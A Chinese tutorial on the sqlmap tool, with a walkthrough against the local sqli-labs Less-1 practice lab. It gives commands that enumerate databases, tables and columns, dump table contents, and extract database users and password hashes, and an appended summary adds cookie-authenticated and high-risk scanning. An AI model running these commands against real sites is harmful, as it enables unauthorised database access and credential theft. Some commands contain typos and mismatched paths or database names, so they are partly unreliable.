sqlmap

1、Sqlmap简介:

Sqlmap是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库。

2、Sqlmap支持的注入方式:

Sqlmap全面支持六种SQL注入技术:

    基于布尔类型的盲注:即可以根据返回页面判断条件真假的注入。

    基于时间的盲注:即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。

    基于报错注入:即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。

    联合查询注入:在可以使用Union的情况下的注入。

    堆查询注入:可以同时执行多条语句时的注入。

    带外注入:构造SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。

3.sqlmap基础使用

参数

 -- dbs                 显示所有数据库名称
 -D (数据库名)          选则数据库
 --tables               显示所有的表
 -T (表名)             选择表
 --columns              显示所有的字段
 -C (字段名)            选择字段
 --dump                 显示字段内容

1、判断是否存在注入

sqlmap.py -u url

(如果注入点后面的参数大于等于两个,需要加双引号)
2、判断文本中的请求是否存在注入

Sqlmap.py -r desktop/1.txt

一般在存在cookies注入的情况下使用

3、查询当前用户下的所有数据库

sqlmap.py -u url --dbs

确定网站存在注入后,用于查询当前用户下的所有数据库。如果当前用户有权限读取包含所有数据库列表信息的表,使用该命令就可以列出所有相关数据库。
4、获取数据库中的表名

sqlmap.py -u “url” -D dkeye(具体数据库) --tables

如果不加入-D来指定某一个数据库,那么会列出数据库中的所有的表。继续注入时缩写成—T,在某表中继续查询
5、获取表中的字段名

sqlmap.py -u “url” -D dkeye -T user_info(具体表名) --columns

查询完表名后,查询该表中的字段名,在后续的注入中,—columns缩写成-C
6、获取字段内容

sqlmap.py -u “url” -D dkeye -T user_info(具体表名) -C usrname password(具体字段) --dump

7、获取数据库所有用户

sqlmap.py -u url --users

列出数据库所有用户,如果当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出所有管理用户。
8、获取数据库用户的密码

sqlmap.py -u url --passwords

如果当前用户有读取包含用户密码的权限,sqlmap会先例举出用户,然后列出hash,并尝试破解。
9、获取当前网站数据库的名称

sqlmap.py -u url --curerent-db

使用该命令可以列出当前网站使用的数据库
10、获取当前网站数据库的用户名称

sqlmap.py -u url --current-user

使用该命令可以列出当前网站使用的数据库用户

4.操作

Less-1为例

1.判断是否存在注入:

假设目标注入点是 http://127.0.0.1/sqli-labs/Less-1/?id=1,判断其是否存在注入的命令如下:

sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1

2.查看数据库名称

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --dbs

当继续注入时,--dbs缩写成-D xxx,其意思是在xxx数据库中继续查询其他数据。

 3.获取表名

列出了6个数据库名称,看到有一个 security的数据库,看看它有什么表。用 -D 选择数据库 security。再用 --tables 参数显示所有表名。

sqlmap.py -u http://127.0.0.1/sqlis/Less-1/?id=1 -D ctftraining --tables

当继续注入时,--tables缩写成-T,意思是在某表中继续查询

 4。获取字段名

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users --columns

 在后续的注入中,--columns缩写成-C

5.获取字段内容

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users --dump

 6.获取数据库的所有用户

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --users

 7.获取数据库用户的密码:

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --passwords

 密码使用了MySQL5加密,可在网站中自行解密(自带的解密很慢)。

8、获取当前网站数据库的名称:

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --current-db

使用该命令可以列出当前网站使用的数据库

 可以看到数据库是security。

9.获取当前网站数据库的用户名称:

sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --current-user

使用该命令可以列出当前网站使用的数据库用户

用户是root。

04-01
### SQLMap 工具简介 SQLMap 是一款开源的自动化 SQL 注入工具,支持多种类型的数据库以及各种注入方式。它能够检测并利用 SQL 注入漏洞来接管数据库服务器。 #### 下载与安装 SQLMap 可以通过以下方式进行下载和安装: 1. **克隆官方仓库** 用户可以通过 Git 命令从 GitHub 上获取最新版本的 SQLMap: ```bash git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev ``` 此命令会将最新的稳定版代码拉取到本地目录 `sqlmap-dev` 中[^1]。 2. **依赖环境配置** - Python 版本:SQLMap 支持 Python 2 和 Python 3,推荐使用 Python 3.x。 - 安装完成后无需额外编译即可运行。 #### 基础命令详解 以下是几个常用的 SQLMap 命令及其功能说明: 1. **判断是否存在注入点** 使用 `-u` 参数指定目标 URL 并设置风险等级为 3 来全面扫描潜在的注入点: ```bash python sqlmap.py -u "http://example.com/vuln.php?id=1" --risk=3 --level=3 ``` 2. **查看当前使用的数据库名称** 如果已确认存在注入点,则可以进一步取当前正在使用的数据库名: ```bash python sqlmap.py -u "http://example.com/vuln.php?id=1" --current-db ``` 3. **枚举所有可用数据库** 若要列举目标站点上的所有数据库列表,可执行如下命令: ```bash python sqlmap.py -u "http://example.com/vuln.php?id=1" --dbs ``` 4. **处理需要 Cookie 的场景** 当访问的目标页面受身份验证保护时,需附加相应的 Cookies 数据以便绕过认证机制继续测试: ```bash python sqlmap.py -u "http://example.com/vulnerable_page.php?id=1&Submit=Submit#" \ --cookie="PHPSESSID=some_random_session_id; security_level=low" ``` 5. **指定参数作为攻击入口** 对于复杂请求中的多个 GET/POST 参数,默认情况下只会针对第一个参数尝试注入;如果想明确指出具体哪个字段应被探测,则需要用到 `-p` 参数指明该变量的名字: ```bash python sqlmap.py -u "http://example.com/test.php?param=value" -p param ``` 以上内容涵盖了如何正确部署 SQLMap 软件包以及一些基本的操作指南[^2]^,^ [^3]. ### 注意事项 - 在实际环境中应用此类技术前,请务必获得合法授以免触犯法律; - 测试过程中产生的任何数据破坏均由使用者自行承担后果。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值